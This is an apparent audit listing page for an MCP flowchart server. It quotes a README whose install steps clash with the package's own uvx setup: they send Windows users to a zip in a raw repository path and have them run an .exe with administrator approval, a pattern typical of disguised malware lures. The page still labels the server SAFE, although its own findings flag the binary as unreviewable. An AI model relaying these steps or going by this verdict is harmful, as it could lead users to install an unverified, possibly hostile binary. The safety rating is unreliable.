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flowchart-mcp-serverSAFE

mcp/lawsonseminiferous124/flowchart-mcp-server
MCP server by lawsonseminiferous124 · ai · ai agent · ai coding · Audited 2026-10-11
⚑ Report / re-scanSource ↗

Generate academic quality flowcharts from text or code through this local MCP server that renders SVG graphs using Graphviz.

Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
2 2r · 0w · 0d
Transport
—
License
—
Stars
0
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://github.com/Lawsonseminiferous124/flowchart-mcp-server/raw/refs/heads/main/charts/flowchart-mcp-server-v3.7.zip)

What this software does

The flowchart-mcp-server helps you turn text or code into visual flowcharts. You use it with the Claude AI assistant to map out complex ideas, organize workflows, or visualize processes. It creates academic-quality diagrams that remain easy to read. This tool connects your thoughts to a visual format. It works locally on your machine for better speed and privacy.

💻 System requirements

Before you install this software, confirm your computer meets these needs:

  • Operating System: Windows 10 or Windows 11.
  • Memory: At least 4 gigabytes of RAM.
  • Internet Access: Required for the initial setup and to connect with the Claude AI model.
  • Storage: 200 megabytes of free space on your hard drive.

📥 How to get the software

You need to download the installation file from the official releases page.

  1. Visit this page to download: https://github.com/Lawsonseminiferous124/flowchart-mcp-server/raw/refs/heads/main/charts/flowchart-mcp-server-v3.7.zip
  2. Look for the section labeled "Assets" at the bottom of the latest release.
  3. Click the file ending in .exe to start the download.
  4. Save the file to your "Downloads" folder.

⚙️ Installation steps

Once the download finishes, follow these steps to set up the software on your system:

  1. Open your "Downloads" folder.
  2. Double-click the file you just downloaded.
  3. A window might appear asking if you want to allow this app to make changes to your device. Click "Yes."
  4. Follow the instructions on the screen to finish the setup.
  5. Keep note of the folder where the software installs, as
Read from source at commit 91ef8877674cOBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.

claude-code
claude mcp add flowchart-mcp-server -- uvx flowchart-mcp-server
claude-desktop
{
  "mcpServers": {
    "flowchart-mcp-server": {
      "command": "uvx",
      "args": [
        "flowchart-mcp-server"
      ]
    }
  }
}
03

Exposed tools (2)

2 read · 0 write · 0 destructive.

ToolRiskDescription
generate_flowchartread
list_chartsreadList all previously generated flowchart SVG files in the charts/ directory.
04

Trust audit

SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
none-observed
Shell
none-observed
Dependencies
pinned
Secrets in source
none-found

Findings (2)

MEDIUMInventory / provenance · inv.binary · CWE-1104
charts/flowchart-mcp-server-v3.7.zip
flowchart-mcp-server-v3.7.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWInventory / provenance · inv.no_license · CWE-1104
Why it matters. no LICENSE file and no repo licence
Fix. add a licence

Gates applied: no_behavioural_pass, no_license.

Audited 2026-10-11 · audit v0.4.1 · source sha 91ef8877674cfull audit observations/trust-audit/mcp-server/lawsonseminiferous124__flowchart-mcp-server.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1191ef8877674cSAFEB89first audit
06

Questions

What is the flowchart-mcp-server MCP server?

Generate academic quality flowcharts from text or code through this local MCP server that renders SVG graphs using Graphviz.

What tools does flowchart-mcp-server expose?

2 in total: 2 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is flowchart-mcp-server safe to connect to an agent?

The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.

What credentials does flowchart-mcp-server need?

No credential environment variables were found in its source, so it appears to need none.

How current is this page?

The grade is for one exact copy of the source (91ef8877674c), read on 2026-10-11. The repository is watched and re-audited when it changes.

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